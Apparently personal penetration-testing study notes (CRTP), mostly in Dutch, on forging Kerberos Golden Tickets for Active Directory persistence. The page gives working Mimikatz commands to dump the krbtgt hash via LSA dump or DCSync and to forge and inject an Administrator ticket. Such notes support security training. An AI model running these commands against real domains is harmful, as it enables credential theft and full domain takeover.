> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-persistence/golden-ticket.md).

# Golden Ticket

Golden tickets zijn nagemaakte TGT tickets. TGT tickets worden gebruikt om TGS tickets aan te vragen bij de KDC(DC). De kerberos Golden Ticket is een valid TGT omdat deze ondertekend is door het KRBTGT account. Als je de hash van de KRBTGT account kan achterhalen door de hashes te dumpen op de Domain controller en deze hash niet wijzigt is het mogelijk om weer een TGT aan te vragen bij de volgende penetratietest en volledige toegang tot het domein te verkrijgen.

<https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets>

**Dump hashes - Get the krbtgt hash**

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computername>
```

**Make golden ticket**

Use /ticket instead of /ptt to save the ticket to file instead of loading in current powershell process To get the SID use `Get-DomainSID` from powerview

```
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /krbtgt:<hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

**Use the DCSync feature for getting krbtgt hash. Execute with DA privileges**

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain>\krbtgt"'
```

**Check WMI Permission**

```
Get-wmiobject -Class win32_operatingsystem -ComputerName <computername>
```


---

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